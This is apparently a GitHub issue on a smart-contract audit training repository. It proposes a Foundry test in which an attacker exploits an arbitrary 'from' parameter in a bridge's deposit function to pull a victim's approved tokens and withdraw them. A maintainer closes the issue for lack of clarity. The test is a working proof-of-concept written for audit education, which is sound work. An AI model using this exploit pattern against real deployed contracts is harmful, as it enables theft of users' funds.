Cyfrin / 7-boss-bridge-audit

21 stars 19 forks source link

A better test for the arbritrary `from` in the depositToL2 func in the L1Bridge.sol #5

Closed EggsyOnCode closed 1 month ago

EggsyOnCode commented 2 months ago
    function testStealingFundsCuzOfArbDeposit() public {
        Account memory attacker = makeAccount("attacker");
        vm.startPrank(tokenBridge.owner());
        token.transfer(user, 100 ether);
        vm.stopPrank();

        vm.startPrank(user);
        token.approve(address(tokenBridge), type(uint256).max);
        uint256 userB = token.balanceOf(user);
        vm.stopPrank();

        vm.startPrank(attacker.addr);
        tokenBridge.depositTokensToL2(user, attacker.addr, userB);
        vm.stopPrank();

        bytes memory withdrawalMsg = _getTokenWithdrawalMessage(attacker.addr, userB);
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(withdrawalMsg, operator.key);
        tokenBridge.withdrawTokensToL1(attacker.addr, userB, v, r, s);

        assertEq(token.balanceOf(attacker.addr), userB);
    }
cromewar commented 2 months ago

Hello @EggsyOnCode can you please take a look to: https://github.com/Cyfrin/foundry-full-course-cu/blob/main/how-to-ask-a-question.md

I think you are trying to propose some improvements, but we need a little bit more clarity.

cromewar commented 1 month ago

Closing this due to lack of follow up.